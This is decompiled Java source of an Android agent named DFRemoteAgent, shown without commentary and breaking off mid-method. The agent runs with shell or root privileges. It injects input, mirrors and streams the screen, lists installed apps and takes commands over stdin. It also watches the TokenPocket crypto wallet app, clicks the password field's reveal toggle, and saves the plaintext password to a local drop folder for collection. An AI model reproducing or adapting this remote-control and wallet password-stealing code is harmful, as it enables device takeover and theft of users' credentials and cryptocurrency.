package defpackage;

import android.app.ActivityManager;
import android.app.ActivityOptions;
import android.app.Application;
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.AttributionSource;
import android.content.ClipData;
import android.content.ClipboardManager;
import android.content.Context;
import android.content.ContextWrapper;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Point;
import android.graphics.Rect;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.hardware.display.VirtualDisplayConfig;
import android.hardware.input.InputManager;
import android.media.Image;
import android.media.ImageReader;
import android.media.MediaCodec;
import android.media.MediaCrypto;
import android.media.MediaFormat;
import android.media.projection.MediaProjection;
import android.os.Binder;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.os.IBinder;
import android.os.Looper;
import android.os.PowerManager;
import android.os.Process;
import android.os.SystemClock;
import android.os.WorkSource;
import android.util.DisplayMetrics;
import android.view.Display;
import android.view.InputEvent;
import android.view.KeyCharacterMap;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.Surface;
import android.view.SurfaceControl;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Base64;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;

/* JADX INFO: loaded from: /tmp/dfroot_chain/extracted_local_chain/05_agents/remote-agent.dex */
public final class DFRemoteAgent {
    private static UiAutomation automation = null;
    private static String automationError = "";
    private static boolean captureActive = false;
    private static Handler captureHandler = null;
    private static Context context = null;
    private static DisplayManager displays = null;
    private static Method inject = null;
    private static InputManager inputManager = null;
    private static Object inputService = null;
    private static Method inputServiceInject = null;
    private static String lastAppsSnapshot = "";
    private static Virtual mainMirror = null;
    private static int mainMirrorScale = 0;
    private static CaptureRequest pendingCapture = null;
    private static boolean phoneInteractive = false;
    private static boolean phoneStateKnown = false;
    private static PowerManager powerManager = null;
    private static boolean secureCapture = false;
    private static Method setDisplayId = null;
    private static long touchDownTime = 0;
    private static String uiCandidate = "";
    private static String uiField = "edt_dialog_pwd";
    private static Handler uiHandler = null;
    private static long uiLastReveal = 0;
    private static String uiPackage = "vip.mytokenpocket";
    private static String uiPrevious = "";
    private static String uiReportField = "edt_dialog_pwd";
    private static String uiReveal = "img_pwd_visible";
    private static long uiRuleModified = -1;
    private static VideoStream videoStream;
    private static final Map<Integer, Virtual> virtuals = new ConcurrentHashMap();
    private static final Map<Integer, byte[]> lastFrames = new ConcurrentHashMap();

    public static void main(String[] strArr) throws Exception {
        boolean z = strArr != null && Arrays.asList(strArr).contains("--ui-only");
        Looper.prepareMainLooper();
        secureCapture = Process.myUid() == 0;
        context = createContext();
        displays = (DisplayManager) DisplayManager.class.getDeclaredConstructor(Context.class).newInstance(context);
        try {
            inputManager = (InputManager) context.getSystemService("input");
            inject = InputManager.class.getMethod("injectInputEvent", InputEvent.class, Integer.TYPE);
        } catch (Throwable unused) {
        }
        Object objInvoke = Class.forName("android.hardware.input.IInputManager$Stub").getMethod("asInterface", IBinder.class).invoke(null, (IBinder) Class.forName("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "input"));
        inputService = objInvoke;
        if (objInvoke != null) {
            inputServiceInject = objInvoke.getClass().getMethod("injectInputEvent", InputEvent.class, Integer.TYPE);
        }
        powerManager = (PowerManager) context.getSystemService("power");
        if (Build.VERSION.SDK_INT >= 29) {
            setDisplayId = InputEvent.class.getMethod("setDisplayId", Integer.TYPE);
        }
        if (!z) {
            HandlerThread handlerThread = new HandlerThread("DFRemoteCapture");
            handlerThread.start();
            Handler handler = new Handler(handlerThread.getLooper());
            captureHandler = handler;
            handler.postDelayed(new Runnable() { // from class: DFRemoteAgent.1
                @Override // java.lang.Runnable
                public void run() {
                    try {
                        DFRemoteAgent.apps();
                    } catch (Throwable th) {
                        System.out.println("error apps " + th.getClass().getSimpleName() + " " + th.getMessage());
                    }
                    DFRemoteAgent.captureHandler.postDelayed(this, 5000L);
                }
            }, 5000L);
            HandlerThread handlerThread2 = new HandlerThread("DFPhoneState");
            handlerThread2.start();
            final Handler handler2 = new Handler(handlerThread2.getLooper());
            handler2.postDelayed(new Runnable() { // from class: DFRemoteAgent.2
                @Override // java.lang.Runnable
                public void run() {
                    DFRemoteAgent.reportPhoneState();
                    handler2.postDelayed(this, 1000L);
                }
            }, 0L);
        } else {
            try {
                initAutomation();
            } catch (Throwable th) {
                automationError = th.getClass().getName() + ": " + th.getMessage();
            }
            HandlerThread handlerThread3 = new HandlerThread("DFUiPassword");
            handlerThread3.start();
            uiHandler = new Handler(handlerThread3.getLooper());
            UiAutomation uiAutomation = automation;
            if (uiAutomation != null) {
                uiAutomation.setOnAccessibilityEventListener(new UiAutomation.OnAccessibilityEventListener() { // from class: DFRemoteAgent$$ExternalSyntheticLambda2
                    @Override // android.app.UiAutomation.OnAccessibilityEventListener
                    public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
                        DFRemoteAgent.lambda$main$0(accessibilityEvent);
                    }
                });
            }
            uiHandler.postDelayed(new Runnable() { // from class: DFRemoteAgent.3
                @Override // java.lang.Runnable
                public void run() {
                    DFRemoteAgent.scanUiPassword();
                    DFRemoteAgent.uiHandler.postDelayed(this, 100L);
                }
            }, 0L);
        }
        if (!z) {
            new Thread(new Runnable() { // from class: DFRemoteAgent$$ExternalSyntheticLambda3
                @Override // java.lang.Runnable
                public final void run() {
                    DFRemoteAgent.lambda$main$1();
                }
            }, "DFRemoteCommands").start();
        }
        Looper.loop();
    }

    static /* synthetic */ void lambda$main$0(AccessibilityEvent accessibilityEvent) {
        if (accessibilityEvent.getPackageName() != null && uiPackage.contentEquals(accessibilityEvent.getPackageName())) {
            uiHandler.post(new Runnable() { // from class: DFRemoteAgent$$ExternalSyntheticLambda1
                @Override // java.lang.Runnable
                public final void run() {
                    DFRemoteAgent.scanUiPassword();
                }
            });
        }
        accessibilityEvent.recycle();
    }

    static /* synthetic */ void lambda$main$1() {
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(System.in));
            while (true) {
                String line = bufferedReader.readLine();
                if (line == null) {
                    break;
                }
                try {
                    handle(line.trim());
                } catch (Throwable th) {
                    System.out.println("error " + th.getClass().getSimpleName() + " " + th.getMessage());
                }
            }
        } catch (Exception unused) {
        }
        System.exit(0);
    }

    private static void initAutomation() throws Exception {
        Class<?> cls = Class.forName("android.app.IUiAutomationConnection");
        Constructor<?> declaredConstructor = Class.forName("android.app.UiAutomationConnection").getDeclaredConstructor(new Class[0]);
        declaredConstructor.setAccessible(true);
        Object objNewInstance = declaredConstructor.newInstance(new Object[0]);
        Constructor declaredConstructor2 = UiAutomation.class.getDeclaredConstructor(Context.class, cls);
        declaredConstructor2.setAccessible(true);
        automation = (UiAutomation) declaredConstructor2.newInstance(context, objNewInstance);
        try {
            Method declaredMethod = UiAutomation.class.getDeclaredMethod("connect", Integer.TYPE);
            declaredMethod.setAccessible(true);
            declaredMethod.invoke(automation, 1);
        } catch (NoSuchMethodException unused) {
            Method declaredMethod2 = UiAutomation.class.getDeclaredMethod("connect", new Class[0]);
            declaredMethod2.setAccessible(true);
            declaredMethod2.invoke(automation, new Object[0]);
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static String remotePackageName() {
        int iMyUid = Process.myUid();
        return (iMyUid == 0 || iMyUid == 1000) ? "android" : "com.android.shell";
    }

    private static class ShellContext extends ContextWrapper {
        @Override // android.content.ContextWrapper, android.content.Context
        public Context createPackageContext(String str, int i) {
            return this;
        }

        @Override // android.content.ContextWrapper, android.content.Context
        public Context getApplicationContext() {
            return this;
        }

        ShellContext(Context context) {
            super(context);
        }

        @Override // android.content.ContextWrapper, android.content.Context
        public String getPackageName() {
            return DFRemoteAgent.remotePackageName();
        }

        @Override // android.content.ContextWrapper, android.content.Context
        public String getOpPackageName() {
            return DFRemoteAgent.remotePackageName();
        }
    }

    private static final class AttributionShellContext extends ShellContext {
        AttributionShellContext(Context context) {
            super(context);
        }

        @Override // android.content.ContextWrapper, android.content.Context
        public AttributionSource getAttributionSource() {
            return new AttributionSource.Builder(Process.myUid()).setPackageName(DFRemoteAgent.remotePackageName()).build();
        }
    }

    private static Context createContext() throws Exception {
        initApplicationSharedMemory();
        Class<?> cls = Class.forName("android.app.ActivityThread");
        Constructor<?> declaredConstructor = cls.getDeclaredConstructor(new Class[0]);
        declaredConstructor.setAccessible(true);
        Object objNewInstance = declaredConstructor.newInstance(new Object[0]);
        field(cls, "sCurrentActivityThread").set(null, objNewInstance);
        field(cls, "mSystemThread").setBoolean(objNewInstance, true);
        if (Build.VERSION.SDK_INT >= 32) {
            Constructor<?> declaredConstructor2 = Class.forName("android.app.ConfigurationController").getDeclaredConstructor(Class.forName("android.app.ActivityThreadInternal"));
            declaredConstructor2.setAccessible(true);
            field(cls, "mConfigurationController").set(objNewInstance, declaredConstructor2.newInstance(objNewInstance));
        }
        Context context2 = (Context) cls.getDeclaredMethod("getSystemContext", new Class[0]).invoke(objNewInstance, new Object[0]);
        Context attributionShellContext = Build.VERSION.SDK_INT >= 31 ? new AttributionShellContext(context2) : new ShellContext(context2);
        Class<?> cls2 = Class.forName("android.app.ActivityThread$AppBindData");
        Constructor<?> declaredConstructor3 = cls2.getDeclaredConstructor(new Class[0]);
        declaredConstructor3.setAccessible(true);
        Object objNewInstance2 = declaredConstructor3.newInstance(new Object[0]);
        ApplicationInfo applicationInfo = new ApplicationInfo();
        applicationInfo.packageName = remotePackageName();
        applicationInfo.uid = Process.myUid();
        applicationInfo.targetSdkVersion = 36;
        field(cls2, "appInfo").set(objNewInstance2, applicationInfo);
        field(cls, "mBoundApplication").set(objNewInstance, objNewInstance2);
        field(cls, "mInitialApplication").set(objNewInstance, Instrumentation.newApplication(Application.class, attributionShellContext));
        return attributionShellContext;
    }

    private static void initApplicationSharedMemory() throws IllegalAccessException, InvocationTargetException {
        Class<?> cls;
        try {
            try {
                cls = Class.forName("com.android.internal.os.ApplicationSharedMemory");
            } catch (Throwable unused) {
                return;
            }
        } catch (ClassNotFoundException unused2) {
            cls = Class.forName("android.app.ApplicationSharedMemory");
        }
        try {
            if (cls.getMethod("getInstance", new Class[0]).invoke(null, new Object[0]) != null) {
                return;
            }
        } catch (Throwable unused3) {
        }
        cls.getMethod("setInstance", cls).invoke(null, cls.getMethod("create", new Class[0]).invoke(null, new Object[0]));
    }

    private static Field field(Class<?> cls, String str) throws Exception {
        Field declaredField = cls.getDeclaredField(str);
        declaredField.setAccessible(true);
        return declaredField;
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static void reportPhoneState() {
        PowerManager powerManager2 = powerManager;
        if (powerManager2 == null) {
            return;
        }
        try {
            boolean zIsInteractive = powerManager2.isInteractive();
            if (phoneStateKnown && zIsInteractive == phoneInteractive) {
                return;
            }
            phoneStateKnown = true;
            phoneInteractive = zIsInteractive;
            System.out.println("phoneState {\"interactive\":" + zIsInteractive + "}");
        } catch (Throwable unused) {
        }
    }

    private static void handle(String str) throws Exception {
        if (str.isEmpty()) {
            return;
        }
        String[] strArrSplit = str.split(" ", -1);
        boolean z = false;
        if ("apps".equals(strArrSplit[0])) {
            apps(true);
            return;
        }
        if ("displays".equals(strArrSplit[0])) {
            displays();
            return;
        }
        if ("capture".equals(strArrSplit[0])) {
            int i = Integer.parseInt(strArrSplit[1]);
            int i2 = Integer.parseInt(strArrSplit[2]);
            if (strArrSplit.length > 3 && Integer.parseInt(strArrSplit[3]) != 0) {
                z = true;
            }
            queueCapture(i, i2, z, strArrSplit.length > 4 ? Integer.parseInt(strArrSplit[4]) : 50);
            return;
        }
        if ("key".equals(strArrSplit[0])) {
            key(Integer.parseInt(strArrSplit[1]), Integer.parseInt(strArrSplit[2]));
            return;
        }
        if ("touch".equals(strArrSplit[0])) {
            touch(strArrSplit[1], strArrSplit[2], Float.parseFloat(strArrSplit[3]), Float.parseFloat(strArrSplit[4]), Integer.parseInt(strArrSplit[5]));
            return;
        }
        if ("gesture".equals(strArrSplit[0])) {
            gesture(Integer.parseInt(strArrSplit[1]), strArrSplit[2]);
            return;
        }
        if ("text".equals(strArrSplit[0])) {
            text(strArrSplit[1], Integer.parseInt(strArrSplit[2]));
            return;
        }
        if ("wake".equals(strArrSplit[0]) || "sleep".equals(strArrSplit[0])) {
            power(strArrSplit[0], Integer.parseInt(strArrSplit[1]));
            return;
        }
        if ("create".equals(strArrSplit[0])) {
            create(strArrSplit);
            return;
        }
        if ("destroy".equals(strArrSplit[0])) {
            destroy(Integer.parseInt(strArrSplit[1]));
        } else if ("ping".equals(strArrSplit[0])) {
            System.out.println("pong");
        } else {
            System.out.println("error unknown command");
        }
    }

    private static String firstId(String str) {
        int iIndexOf = str.indexOf(44);
        return iIndexOf < 0 ? str : str.substring(0, iIndexOf);
    }

    private static void loadUiRule() {
        File file = new File("/data/local/tmp/df-ui-rules.tsv");
        long jLastModified = file.isFile() ? file.lastModified() : -1L;
        if (jLastModified == uiRuleModified) {
            return;
        }
        uiRuleModified = jLastModified;
        if (file.isFile()) {
            uiPackage = "";
        }
        try {
            for (String str : new String(readBytes(new FileInputStream(file)), StandardCharsets.UTF_8).split("\\r?\\n")) {
                String[] strArrSplit = str.split("\\t", -1);
                if (strArrSplit.length >= 7 && "rule".equals(strArrSplit[0]) && "UI_AUTOMATOR".equals(strArrSplit[1])) {
                    uiPackage = strArrSplit[2];
                    uiReportField = strArrSplit[3];
                    if (!strArrSplit[4].isEmpty()) {
                        uiField = firstId(strArrSplit[4]);
                    }
                    if (strArrSplit[6].isEmpty()) {
                        return;
                    }
                    uiReveal = firstId(strArrSplit[6]);
                    return;
                }
            }
        } catch (Throwable unused) {
        }
    }

    private static byte[] readBytes(InputStream inputStream) throws IOException {
        try {
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] bArr = new byte[16384];
            while (true) {
                int i = inputStream.read(bArr);
                if (i < 0) {
                    break;
                }
                if (i > 0) {
                    byteArrayOutputStream.write(bArr, 0, i);
                }
            }
            byte[] byteArray = byteArrayOutputStream.toByteArray();
            if (inputStream != null) {
                inputStream.close();
            }
            return byteArray;
        } catch (Throwable th) {
            if (inputStream != null) {
                try {
                    inputStream.close();
                } catch (Throwable th2) {
                    th.addSuppressed(th2);
                }
            }
            throw th;
        }
    }

    private static boolean maskedText(String str) {
        if (str.isEmpty()) {
            return true;
        }
        for (int i = 0; i < str.length(); i++) {
            char cCharAt = str.charAt(i);
            if (cCharAt != 8226 && cCharAt != 9679 && cCharAt != 183 && cCharAt != '*') {
                return false;
            }
        }
        return true;
    }

    private static void revealPassword(AccessibilityNodeInfo accessibilityNodeInfo) {
        long jNanoTime = System.nanoTime();
        if (jNanoTime - uiLastReveal < 500000000) {
            return;
        }
        List<AccessibilityNodeInfo> listFindAccessibilityNodeInfosByViewId = accessibilityNodeInfo.findAccessibilityNodeInfosByViewId(uiPackage + ":id/" + uiReveal);
        for (AccessibilityNodeInfo accessibilityNodeInfo2 : listFindAccessibilityNodeInfosByViewId) {
            try {
                if (accessibilityNodeInfo2 == listFindAccessibilityNodeInfosByViewId.get(0) && accessibilityNodeInfo2.performAction(16)) {
                    uiLastReveal = jNanoTime;
                }
                accessibilityNodeInfo2.recycle();
            } catch (Throwable th) {
                accessibilityNodeInfo2.recycle();
                throw th;
            }
        }
    }

    private static void flushPassword() {
        String str = uiCandidate;
        uiCandidate = "";
        if (str.isEmpty() || str.equals(uiPrevious)) {
            return;
        }
        if (enqueuePassword(str)) {
            uiPrevious = str;
        } else {
            uiCandidate = str;
        }
    }

    private static boolean enqueuePassword(String str) {
        File file = new File("/data/local/tmp/df-ui-events");
        if (!file.isDirectory() && !file.mkdirs()) {
            return false;
        }
        File file2 = new File(file, "ui-password-" + System.nanoTime() + ".txt");
        File file3 = new File(file2.getPath() + ".tmp");
        try {
            FileOutputStream fileOutputStream = new FileOutputStream(file3);
            try {
                fileOutputStream.write((uiPackage + "\n" + uiReportField + "\n" + str).getBytes(StandardCharsets.UTF_8));
                fileOutputStream.close();
                if (file3.renameTo(file2)) {
                    return true;
                }
                file3.delete();
                return false;
            } catch (Throwable th) {
                try {
                    fileOutputStream.close();
                } catch (Throwable th2) {
                    th.addSuppressed(th2);
                }
                throw th;
            }
        } catch (Throwable unused) {
            file3.delete();
            return false;
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static void scanUiPassword() {
        if (automation == null) {
            return;
        }
        loadUiRule();
        if (uiPackage.isEmpty()) {
            return;
        }
        try {
            AccessibilityNodeInfo rootInActiveWindow = automation.getRootInActiveWindow();
            if (rootInActiveWindow == null) {
                return;
            }
            try {
                if (!uiPackage.contentEquals(rootInActiveWindow.getPackageName())) {
                    flushPassword();
                    rootInActiveWindow.recycle();
                    return;
                }
                List<AccessibilityNodeInfo> listFindAccessibilityNodeInfosByViewId = rootInActiveWindow.findAccessibilityNodeInfosByViewId(uiPackage + ":id/" + uiField);
                if (listFindAccessibilityNodeInfosByViewId.isEmpty()) {
                    flushPassword();
                    rootInActiveWindow.recycle();
                    return;
                }
                try {
                    AccessibilityNodeInfo accessibilityNodeInfo = listFindAccessibilityNodeInfosByViewId.get(0);
                    if (accessibilityNodeInfo.isPassword()) {
                        revealPassword(rootInActiveWindow);
                        Iterator<AccessibilityNodeInfo> it = listFindAccessibilityNodeInfosByViewId.iterator();
                        while (it.hasNext()) {
                            it.next().recycle();
                        }
                        rootInActiveWindow.recycle();
                        return;
                    }
                    CharSequence hintText = accessibilityNodeInfo.getHintText();
                    String string = hintText == null ? "" : hintText.toString();
                    CharSequence text = accessibilityNodeInfo.getText();
                    if (text == null) {
                        Iterator<AccessibilityNodeInfo> it2 = listFindAccessibilityNodeInfosByViewId.iterator();
                        while (it2.hasNext()) {
                            it2.next().recycle();
                        }
                        rootInActiveWindow.recycle();
                        return;
                    }
                    String string2 = text.toString();
                    if (!string2.isEmpty() && !string2.equals(string)) {
                        if (!maskedText(string2)) {
                            uiCandidate = string2;
                        }
                        Iterator<AccessibilityNodeInfo> it3 = listFindAccessibilityNodeInfosByViewId.iterator();
                        while (it3.hasNext()) {
                            it3.next().recycle();
                        }
                        rootInActiveWindow.recycle();
                        return;
                    }
                    uiCandidate = "";
                    Iterator<AccessibilityNodeInfo> it4 = listFindAccessibilityNodeInfosByViewId.iterator();
                    while (it4.hasNext()) {
                        it4.next().recycle();
                    }
                    rootInActiveWindow.recycle();
                } catch (Throwable th) {
                    Iterator<AccessibilityNodeInfo> it5 = listFindAccessibilityNodeInfosByViewId.iterator();
                    while (it5.hasNext()) {
                        it5.next().recycle();
                    }
                    throw th;
                }
            } catch (Throwable unused) {
                rootInActiveWindow.recycle();
            }
        } catch (IllegalStateException unused2) {
            automation = null;
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static void apps() throws Exception {
        apps(false);
    }

    private static synchronized void apps(boolean z) throws Exception {
        PackageInfo packageInfo;
        PackageManager packageManager = context.getPackageManager();
        HashMap map = new HashMap();
        for (PackageInfo packageInfo2 : packageManager.getInstalledPackages(0)) {
            map.put(packageInfo2.packageName, packageInfo2);
        }
        List<ResolveInfo> listQueryIntentActivities = packageManager.queryIntentActivities(new Intent("android.intent.action.MAIN").addCategory("android.intent.category.LAUNCHER"), 0);
        HashSet hashSet = new HashSet();
        ArrayList arrayList = new ArrayList();
        for (ResolveInfo resolveInfo : listQueryIntentActivities) {
            if (resolveInfo.activityInfo != null && hashSet.add(resolveInfo.activityInfo.packageName) && (packageInfo = (PackageInfo) map.get(resolveInfo.activityInfo.packageName)) != null) {
                CharSequence charSequenceLoadLabel = resolveInfo.loadLabel(packageManager);
                if (charSequenceLoadLabel == null) {
                    charSequenceLoadLabel = packageInfo.applicationInfo.loadLabel(packageManager);
                }
                String strQuote = quote(packageInfo.packageName);
                String strQuote2 = quote(charSequenceLoadLabel.toString());
                String strQuote3 = quote(resolveInfo.activityInfo.name);
                long longVersionCode = Build.VERSION.SDK_INT >= 28 ? packageInfo.getLongVersionCode() : packageInfo.versionCode;
                boolean z2 = true;
                if ((packageInfo.applicationInfo.flags & 1) == 0) {
                    z2 = false;
                }
                arrayList.add("app {\"packageName\":" + strQuote + ",\"label\":" + strQuote2 + ",\"activity\":" + strQuote3 + ",\"versionCode\":" + longVersionCode + ",\"system\":" + z2 + "}");
            }
        }
        Collections.sort(arrayList);
        String strJoin = String.join("\n", arrayList);
        if (z || !strJoin.equals(lastAppsSnapshot)) {
            lastAppsSnapshot = strJoin;
            Iterator it = arrayList.iterator();
            while (it.hasNext()) {
                System.out.println((String) it.next());
            }
            System.out.println("appsComplete");
        }
    }

    private static void displays() {
        StringBuilder sb = new StringBuilder("displays [");
        Display[] displays2 = displays.getDisplays();
        for (int i = 0; i < displays2.length; i++) {
            Display display = displays2[i];
            if (mainMirror == null || display.getDisplayId() != mainMirror.id) {
                DisplayMetrics displayMetrics = new DisplayMetrics();
                display.getRealMetrics(displayMetrics);
                if (i > 0) {
                    sb.append(',');
                }
                sb.append("{\"displayId\":").append(display.getDisplayId()).append(",\"name\":").append(quote(display.getName())).append(",\"width\":").append(displayMetrics.widthPixels).append(",\"height\":").append(displayMetrics.heightPixels).append(",\"dpi\":").append(displayMetrics.densityDpi).append(",\"state\":").append(display.getState()).append(",\"virtual\":").append(display.getDisplayId() != 0).append('}');
            }
        }
        sb.append(']');
        System.out.println(sb);
    }

    private static final class CaptureRequest {
        final int displayId;
        final boolean force;
        final int quality;
        final int scale;

        CaptureRequest(int i, int i2, boolean z, int i3) {
            this.displayId = i;
            this.quality = i2;
            this.force = z;
            this.scale = i3;
        }
    }

    private static void startVideo(int i, int i2, int i3, int i4) {
        VideoStream videoStream2 = null;
        try {
            stopVideo();
            int iMax = Math.max(1, Math.min(30, i2));
            int iMax2 = Math.max(10, Math.min(100, i3));
            Virtual virtual = virtuals.get(Integer.valueOf(i));
            if (virtual == null && i == 0) {
                mirrorMain(iMax2);
                virtual = mainMirror;
            }
            if (virtual == null) {
                throw new IllegalStateException("video display unavailable");
            }
            VideoStream videoStream3 = new VideoStream(virtual, iMax, i4);
            try {
                videoStream3.start();
                videoStream = videoStream3;
                System.out.println("videoStarted " + i);
            } catch (Throwable th) {
                th = th;
                videoStream2 = videoStream3;
                if (videoStream2 != null) {
                    videoStream2.close();
                }
                System.out.println("videoError " + th.getClass().getSimpleName() + " " + th.getMessage());
            }
        } catch (Throwable th2) {
            th = th2;
        }
    }

    private static void stopVideo() {
        VideoStream videoStream2 = videoStream;
        videoStream = null;
        if (videoStream2 != null) {
            videoStream2.close();
        }
    }

    private static final class VideoStream {
        boolean closed;
        MediaCodec codec;
        byte[] codecConfig;
        final int fps;
        long nextFrameUs;
        final int quality;
        Surface surface;
        final Virtual target;

        VideoStream(Virtual virtual, int i, int i2) {
            this.target = virtual;
            this.fps = i;
            this.quality = i2;
        }

        void start() throws Exception {
            int width = this.target.reader.getWidth();
            int height = this.target.reader.getHeight();
            int iMax = (int) Math.max(256000.0d, Math.min(8000000.0d, ((double) (width * height * this.fps)) * (((((double) Math.max(1, Math.min(100, this.quality))) / 100.0d) * 0.12d) + 0.08d)));
            MediaFormat mediaFormatCreateVideoFormat = MediaFormat.createVideoFormat("video/avc", width, height);
            mediaFormatCreateVideoFormat.setInteger("color-format", 2130708361);
            mediaFormatCreateVideoFormat.setInteger("bitrate", iMax);
            mediaFormatCreateVideoFormat.setInteger("frame-rate", this.fps);
            mediaFormatCreateVideoFormat.setInteger("i-frame-interval", 0);
            mediaFormatCreateVideoFormat.setInteger("bitrate-mode", 1);
            MediaCodec mediaCodecCreateEncoderByType = MediaCodec.createEncoderByType("video/avc");
            this.codec = mediaCodecCreateEncoderByType;
            mediaCodecCreateEncoderByType.configure(mediaFormatCreateVideoFormat, (Surface) null, (MediaCrypto) null, 1);
            this.surface = this.codec.createInputSurface();
            this.codec.setCallback(new MediaCodec.Callback() { // from class: DFRemoteAgent.VideoStream.1
                @Override // android.media.MediaCodec.Callback
                public void onInputBufferAvailable(MediaCodec mediaCodec, int i) {
                }

                @Override // android.media.MediaCodec.Callback
                public void onOutputFormatChanged(MediaCodec mediaCodec, MediaFormat mediaFormat) {
                }

                @Override // android.media.MediaCodec.Callback
                public void onOutputBufferAvailable(MediaCodec mediaCodec, int i, MediaCodec.BufferInfo bufferInfo) {
                    try {
                        if (!VideoStream.this.closed && bufferInfo.size > 0) {
                            ByteBuffer outputBuffer = mediaCodec.getOutputBuffer(i);
                            if (outputBuffer == null) {
                                return;
                            }
                            int i2 = bufferInfo.size;
                            byte[] bArr = new byte[i2];
                            outputBuffer.get(bArr);
                            if ((bufferInfo.flags & 2) != 0) {
                                VideoStream.this.codecConfig = bArr;
                                return;
                            }
                            if ((bufferInfo.flags & 1) != 0 && VideoStream.this.codecConfig != null) {
                                byte[] bArr2 = new byte[VideoStream.this.codecConfig.length + i2];
                                System.arraycopy(VideoStream.this.codecConfig, 0, bArr2, 0, VideoStream.this.codecConfig.length);
                                System.arraycopy(bArr, 0, bArr2, VideoStream.this.codecConfig.length, i2);
                                bArr = bArr2;
                            }
                            VideoStream.this.emit(bArr, bufferInfo.presentationTimeUs);
                        }
                    } finally {
                        mediaCodec.releaseOutputBuffer(i, false);
                    }
                }

                @Override // android.media.MediaCodec.Callback
                public void onError(MediaCodec mediaCodec, MediaCodec.CodecException codecException) {
                    if (VideoStream.this.closed) {
                        return;
                    }
                    System.out.println("videoError " + codecException.getClass().getSimpleName() + " " + codecException.getMessage());
                }
            }, DFRemoteAgent.captureHandler);
            this.codec.start();
            this.target.display.setSurface(this.surface);
        }

        /* JADX WARN: Code duplicated, block: B:9:0x0021  */
        private int firstMb(byte[] bArr) {
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            int i = 0;
            byteArrayOutputStream.write(bArr[0]);
            int i2 = 0;
            for (int i3 = 1; i3 < Math.min(bArr.length, 64); i3++) {
                int i4 = bArr[i3] & 255;
                if (i2 < 2 || i4 != 3) {
                    byteArrayOutputStream.write(i4);
                    if (i4 == 0) {
                        i2++;
                    } else {
                        i2 = 0;
                    }
                } else {
                    i2 = 0;
                }
            }
            byte[] byteArray = byteArrayOutputStream.toByteArray();
            int i5 = 8;
            int i6 = 0;
            while (i6 < 31 && i5 < byteArray.length * 8) {
                int i7 = (byteArray[i5 / 8] >> (7 - (i5 % 8))) & 1;
                i5++;
                if (i7 != 0) {
                    break;
                }
                i6++;
            }
            int i8 = 0;
            for (int i9 = i5; i < i6 && i9 < byteArray.length * 8; i9++) {
                i8 = (i8 << 1) | ((byteArray[i9 / 8] >> (7 - (i9 % 8))) & 1);
                i++;
            }
            return ((1 << i6) - 1) + i8;
        }

        private List<byte[]> accessUnits(byte[] bArr) {
            int i;
            ArrayList<byte[]> arrayList = new ArrayList();
            int i2 = -1;
            int i3 = 0;
            while (true) {
                int i4 = i3 + 3;
                if (i4 >= bArr.length) {
                    break;
                }
                byte b = bArr[i3];
                boolean z = b == 0 && bArr[i3 + 1] == 0 && bArr[i3 + 2] == 1;
                boolean z2 = b == 0 && bArr[i3 + 1] == 0 && bArr[i3 + 2] == 0 && bArr[i4] == 1;
                if (z || z2) {
                    if (i2 >= 0 && i3 > i2) {
                        arrayList.add(Arrays.copyOfRange(bArr, i2, i3));
                    }
                    i2 = i3 + (z2 ? 4 : 3);
                    i3 = i2 - 1;
                }
                i3++;
            }
            if (i2 >= 0 && i2 < bArr.length) {
                arrayList.add(Arrays.copyOfRange(bArr, i2, bArr.length));
            }
            ArrayList arrayList2 = new ArrayList();
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            boolean z3 = false;
            for (byte[] bArr2 : arrayList) {
                if (bArr2.length != 0 && (i = bArr2[0] & 31) != 0) {
                    boolean z4 = i == 1 || i == 5;
                    int iFirstMb = z4 ? firstMb(bArr2) : -1;
                    if (z4 && iFirstMb < 0) {
                        return Collections.singletonList(bArr);
                    }
                    if (z4 && iFirstMb == 0 && z3) {
                        arrayList2.add(byteArrayOutputStream.toByteArray());
                        byteArrayOutputStream.reset();
                        z3 = false;
                    }
                    if (z4) {
                        z3 = true;
                    }
                    byteArrayOutputStream.write(new byte[]{0, 0, 0, 1}, 0, 4);
                    byteArrayOutputStream.write(bArr2, 0, bArr2.length);
                }
            }
            if (z3) {
                arrayList2.add(byteArrayOutputStream.toByteArray());
            }
            return arrayList2.isEmpty() ? Collections.singletonList(bArr) : arrayList2;
        }

        private boolean keyFrame(byte[] bArr) {
            int i = 0;
            while (true) {
                int i2 = i + 4;
                if (i2 >= bArr.length) {
                    return false;
                }
                if (bArr[i] == 0 && bArr[i + 1] == 0) {
                    byte b = bArr[i + 2];
                    if (b == 1) {
                        i2 = i + 3;
                    } else if (b != 0 || bArr[i + 3] != 1) {
                        i2 = -1;
                    }
                    if (i2 >= 0 && i2 < bArr.length && (bArr[i2] & 31) == 5) {
                        return true;
                    }
                }
                i++;
            }
        }

        /* JADX INFO: Access modifiers changed from: private */
        public void emit(byte[] bArr, long j) {
